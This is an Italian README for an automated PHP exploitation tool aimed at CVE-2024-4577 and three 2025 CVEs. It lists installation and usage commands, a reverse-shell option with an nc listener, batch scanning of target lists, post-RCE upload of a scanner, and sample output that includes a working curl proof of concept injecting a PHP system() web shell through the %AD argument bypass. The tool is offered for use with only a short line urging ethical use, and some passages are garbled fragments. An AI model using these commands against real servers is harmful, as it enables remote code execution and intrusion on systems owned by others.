
Rilevamento automatizzato e sfruttamento di vulnerabilità critiche PHP (CVE-2024-4577 bypass, CVE-2025-14177, CVE-2025-14180, CVE-2025-14178)
Rilevamento e sfruttamento automatici di vulnerabilità critiche di PHP (CVE-2024-4577 bypass, CVE-2025-14177, CVE-2025-14180, CVE-2025-14178)
PHP8.1.x_Exploit.sh è uno strumento di valutazione della sicurezza a file singolo, zero configurazione che rileva automaticamente endpoint PHP vulnerabili e sfrutta quattro CVE ad alto impatto che interessano le versioni di PHP precedenti alla 8.1.34 (rilasciata a dicembre 2024). Non richiede alcuna creazione manuale di payload – basta fornire un URL e lo script fa il resto, dal crawling all'esecuzione remota di codice. Completamente autopilota – rileva e sfrutta automaticamente senza richieste all'utente.
-d e bypass con trattino morbido %AD.getimagesize()
array_merge.parallel se disponibile, altrimenti ripiega senza problemi.| Dipendenza | Scopo | Solitamente installato? |
|---|---|---|
bash 4.0+ | Interprete di script | Sì (Linux/macOS) |
curl | Richieste HTTP | Sì |
grep, sed, awk | Elaborazione del testo | Sì |
mktemp | Creazione di file temporanei | Sì |
(opzionale) parallel | Scansione batch più veloce | No (ma consigliato) |
(opzionale) jq | Formattazione output JSON | No |
Nessun privilegio di root richiesto – lo strumento invia solo richieste HTTP e opzionalmente esegue una reverse shell (richiede un listener sulla tua macchina).
git clone https://github.com/gl1tch0x1/PHP_8.1.x_Exploit.git
cd PHP_8.1.x_Exploit
chmod +x PHP8.1.x_Exploit.sh
Target singolo (più comune)
./PHP8.1.x_Exploit.sh -u http://target.example.com
Target singolo con reverse shell (CVE-2024-4577)
./PHP8.1.x_Exploit.sh -u http://vulnerable-win-server.local/ --revshell 192.168.1.100 4444
Poi sulla tua macchina:
nc -lvnp 4444
Scansione batch di più target
./PHP8.1.x_Exploit.sh -l targets.txt --threads 10
Esempio targets.txt:
http://192.168.1.1/
https://10.0.0.5:8080/
http://internal-app.company.com
Modalità solo scansione (nessun tentativo di sfruttamento)
./PHP8.1.x_Exploit.sh -u http://target.com/ --scan-only
Salva report su file
./PHP8.1.x_Exploit.sh -u http://target.com/ -o results.txt
Output verbose / debug
./PHP8.1.x_Exploit.sh -u http://target.com/ --verbose
./PHP8.1.x_Exploit.sh -u http://target.com/ --debug # very noisy
| Fase | Azione |
|---|---|
| 1 | Fingerprinting – sistema operativo e versione PHP da header e probe. |
| 2 | Crawling – estrae gli attributi href e action dalla home page. |
| 3 | Scoperta CGI – prova percorsi comuni e link trovati durante il crawling che sembrano CGI. |
| 4 | Test CVE‑2024‑4577 – inietta sia payload -d che %AD; se ha successo, esegue comandi o invia una reverse shell. |
| 5 | Scoperta endpoint di upload – controlla percorsi di upload comuni e qualsiasi modulo contenente "upload"/"image". |
| 6 | Test CVE‑2025‑14177 – crea un JPEG malformato, lo invia in POST a ogni endpoint di upload, rileva perdite heap. |
| 7 | Scansione interna approfondita – se si ottiene RCE, carica uno script PHP scanner e lo esegue per testare CVE‑2025‑14180 / CVE‑2025‑14178. |
| 8 | Report – stampa un riepilogo e opzionalmente scrive su un file. |
| Opzione | Descrizione |
|---|---|
-u URL | URL di un singolo target (es. http://example.com/) |
-l FILE | File batch con una URL per riga |
--scan-only | Solo rilevamento – non sfruttare (niente reverse shell, niente upload di payload) |
-o FILE | Scrive il report finale su FILE |
--threads N | Numero di thread paralleli per la scansione batch (predefinito: 5) |
--timeout N | Timeout HTTP in secondi (predefinito: 10) |
--no-color | Disabilita l'output colorato |
--verbose | Mostra avanzamento dettagliato |
--debug | Mostra ogni richiesta HTTP (può esporre dati sensibili) |
--revshell IP PORT | Tenta una reverse shell quando CVE‑2024‑4577 viene rilevata |
-h, --help | Mostra l'aiuto ed esce |
| CVE | Gravità | Impatto | Vettore di sfruttamento | Corretta in |
|---|---|---|---|---|
| CVE‑2024‑4577 (bypass) | Critica | RCE | Iniezione di argomenti CGI su Windows (mappatura trattino morbido) | PHP 8.1.34 |
| CVE‑2025‑14177 | Media/Alta | Perdita di informazioni (memoria heap) | JPEG malformato passato a getimagesize() | PHP 8.1.34 |
| CVE‑2025‑14180 | Alta | DoS (dereferenziazione NULL) | PDO PostgreSQL con prepared statement emulati + parametro malformato \x99 | PHP 8.1.34 |
| CVE‑2025‑14178 | Alta (8.2) | DoS / potenziale corruzione di memoria | array_merge() con array enormi che causa integer overflow | PHP 8.1.34 |
Nota: CVE‑2025‑14180 e CVE‑2025‑14178 possono essere rilevate con precisione solo dall'interno del server (test locali). Lo script raggiunge questo risultato caricando uno scanner dopo un exploit CGI riuscito.
[*] Scanning: http://192.168.1.100/
[*] OS: windows
[*] PHP version: 8.1.33
[*] Testing CVE-2024-4577 on http://192.168.1.100/cgi-bin/php-cgi.exe
[✓] CVE-2024-4577: VULNERABLE (soft hyphen injection)
[*] Attempting reverse shell to 192.168.1.5 4444
...
[*] Testing CVE-2025-14177 via http://192.168.1.100/upload.php
[-] CVE-2025-14177: Potential heap leak detected!
...
[*] Running deep local scan via RCE...
PHP_VERSION=8.1.33
CVE-2025-14180: VULNERABLE
CVE-2025-14178: VULNERABLE
CVE-2025-14177: VULNERABLE (leak: 486561704c65616b21...)
===================== Report for http://192.168.1.100/ =====================
OS: windows
PHP: 8.1.33
CVE-2024-4577: EXPLOITABLE at http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input
PoC: curl -X POST --data '<?php system($_GET["c"]); ?>' 'http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input&c=whoami'
CVE-2025-14177: VULNERABLE
CVE-2025-14180/14178: VULNERABLE (see deep scan output)
==============================================================
--revshell apre un socket dal target alla tua macchina. Assicurati di avere il diritto di riconnetterti.| Problema | Soluzione |
|---|---|
curl: command not found | Installa curl |
GNU parallel not found | Ignorato – lo script funziona anche senza (scansioni batch più lente) |
| Nessun endpoint CGI trovato | Il target potrebbe non usare CGI, oppure è dietro un WAF che blocca i flag -d |
| CVE-2024-4577 funziona ma la reverse shell fallisce | Controlla il firewall; prova un payload più semplice con --scan-only e un listener nc manuale |
| Il test di perdita immagine restituisce sempre "No leak" | L'endpoint di upload potrebbe non usare getimagesize(), oppure rimuove i dati binari |
| Il caricamento dello scanner locale fallisce | La document root potrebbe non essere scrivibile; lo script tenta di scrivere nella stessa directory dello script CGI |
Pull request, segnalazioni di bug e suggerimenti di funzionalità sono benvenuti. Si prega di seguire:
parallel che senza.GNU General Public License v3.0 – vedi il file LICENSE.
Creato con 🧠 per la community della sicurezza. Usalo eticamente.